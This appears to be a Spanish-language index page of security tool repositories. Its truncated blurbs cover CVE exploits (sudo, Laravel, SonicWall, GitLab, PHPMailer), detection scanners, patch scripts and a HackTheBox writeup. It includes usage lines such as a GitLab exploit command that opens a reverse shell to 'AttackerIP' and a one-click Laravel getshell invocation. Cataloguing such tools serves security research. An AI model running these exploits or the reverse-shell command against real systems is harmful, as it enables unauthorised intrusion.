CVE-2019-14287

CVE-2019-14287 Un script para verificar la omisión de seguridad de sudo CVE-2019-14287. Este script verifica una versión vulnerable de sudo e intenta explotarla. Puede ejecutarse solo o integrarse en un escáner de enumeración como LinEnum.sh...

iovyroot

iovyroot Una herramienta root basada en la vulnerabilidad CVE-2015-1805 Es compatible con 32 y 64 bits, pero requiere direcciones absolutas del kernel ver offsets.c El PoC fue realizado por idler1984 https://github.com/idl3r/testcode...

CVE-2018-2628-detect

Script de detección masiva de la vulnerabilidad CVE-2018-2628 Uso Formato de IP: root@kitploit: 192.168.31.1:443 192.168.31.100:443 Nómbrelo como url.txt y guárdelo en el mismo directorio; luego ejecute el script. ¡Los efectos de salida, coméntelos usted mismo! Ejecútelo así: root@kitploit:...

bash-cve-2014-7169-cookbook

bash-cve-2014-7169-cookbook Asegura que la vulnerabilidad 'shellshock' de bash esté parcheada. Basado en la publicación de blog escrita por Julian Dunn @ Chef https://www.chef.io/blog/2014/09/30/detecting-repairing-shellshock-with-chef/...

Printnightmare

Printnightmare Solución para PrintNightmare CVE-2021-34527 Ejecute el archivo disable-spooler.ps1 como administrador para deshabilitar el spooler root@kitploit: powershell.exe -executionpolicy bypass -file .\disable-spooler.ps1 Para deshabilitar por lotes, haga una lista de servidores con los...

React2Shell

RSC Sentinel Una extensión de Firefox para detectar vulnerabilidades React2Shell CVE-2025-55182 y CVE-2025-66478 en aplicaciones web. 👁️ Descripción general RSC Sentinel es una extensión de navegador Firefox para investigadores y educadores de seguridad que desean observar los indicadores de React...

HTB-Pterodactyl-Writeup

HackTheBox — Writeup de Pterodactyl Dificultad: Media | SO: Linux openSUSE Leap 15.6 | Temporada: 10 Resumen Pterodactyl es una máquina Linux de dificultad media que ejecuta el panel de servidor de juegos Pterodactyl. La cadena de ataque involucra una vulnerabilidad LFI a RCE sin autenticación en...

CVE-2023-26208

CVE-2023-26208 Exploit Automation Con Fines Educativos 🚨 📌 Descripción Este es un script de Python con interfaz gráfica Tkinter que permite al usuario probar el envío de peticiones automatizadas a un endpoint de inicio de sesión. El objetivo es simular cómo los servidores responden a diferentes...

ShodanX

ShodanX⚡ – Una herramienta de reconocimiento y OSINT impulsada por terminal, construida sobre los servicios de Shodan. Características | Instalación | Uso | Configuración posterior a la instalación Características🔧: 🔐 shodanx auth – Configura y almacena tu clave API de Shodan de forma segura. 🔓...

CVE-2021-20038-SonicWall-RCE

SonicWallSSL-VPNRCE CVE-2021-20038 Argumentos de línea de comandos -h Ver ayuda -u Especificar url -f Especificar el archivo file El formato dentro del archivo file debe incluir el encabezado http/https...

laravel-CVE-2021-3129-EXP

laravel-CVE-2021-3129-EXP CVE-2021-3129 getshell con un clic Uso python3 laravel-CVE-2021-3129-EXP.py http://127.0.0.1:8000 Después de tener éxito, usa Godzilla para conectarte...

CVE-research

Investigación de CVE Un repositorio que contiene todos los PoC funcionales que he creado para CVEs conocidas, así como detalles sobre cualquier investigación en curso que estoy realizando actualmente principalmente dispositivos IoT Nota sobre los scripts/payloads de explotación PoC funcionales 1...

VMware_ESXI_OpenSLP_PoCs

VMwareESXIOpenSLPPoCs CVE-2020-3992 & CVE-2019-5544 Probado en ESXI instalado en VMware Workstation. Si está en una máquina real, es posible que necesite cambiar el campo srvtype service:VMwareInfrastructure...

exploit-CVE-2016-10033

PHPMailer 5.2.18 Ejecución Remota de Código PHPMailer es la clase de transporte más popular del mundo, con un estimado de 9 millones de usuarios a nivel mundial. Las descargas continúan a un ritmo significativo diariamente. Usado por muchos proyectos de código abierto: WordPress, Drupal, 1CRM,...

cve-2023-42793

Este repositorio no tiene un README...

CVE-2018-10933

Este repositorio no tiene un README...

GitLab-CVE-2021-22205-scanner

GitLab-CVE-2021-22205-scanner Uso root@kitploit: $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort Créditos https://hackerone.com/reports/1154542 Fragmento de código referenciado desde aquí: https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py...

CVE-2019-13272-Local-Privilege-Escalation

Este repositorio no tiene un README...

Nagios-XI-s-CVE-2023-40931-Exploit

Este repositorio no tiene un README...

CVE-2018-6574

Este repositorio no tiene un README...